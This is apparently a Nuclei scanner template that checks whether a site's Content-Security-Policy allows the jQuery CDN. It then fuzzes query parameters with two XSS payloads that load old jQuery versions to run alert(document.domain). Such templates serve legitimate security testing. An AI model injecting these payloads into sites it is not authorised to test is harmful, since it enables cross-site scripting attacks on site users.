id: jquery-cdn-csp-bypass

info:
  name: Content-Security-Policy Bypass - jQuery CDN
  author: 0x_Akoko
  severity: medium
  description: |
    CSP policy allows jQuery CDN which enables arbitrary JavaScript execution through vulnerable jQuery versions using parseHTML or $.get functions.
  reference:
    - https://www.doyler.net/security-not-included/csp-bypass-via-jquery
    - https://github.com/jquery/jquery/issues/2432
    - https://bugs.jquery.com/ticket/11974
  metadata:
    verified: true
    max-request: 2
  classification:
    cwe-id: CWE-79
  tags: xss,csp-bypass,jquery,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "code.jquery.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: jquery_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://code.jquery.com/jquery-2.2.4.min.js"></script><script>$.get("data:text/javascript,alert(document.domain)")</script>'
        - '<script src="https://code.jquery.com/jquery-1.12.4.min.js"></script><div id="x"></div><script>$("#x").html("<img src=x onerror=alert(document.domain)>")</script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "jquery_csp_xss == true"
# digest: 490a0046304402204dfeb2253ed0a5f3116c1a890920e318b7cca28ac18dd4f56d191f812f2c8f4d022060844041558f1c64441b60814f110186e2c16d65f9778c121aaed40e886e5eda:922c64590222798bb761d5b6d8e72950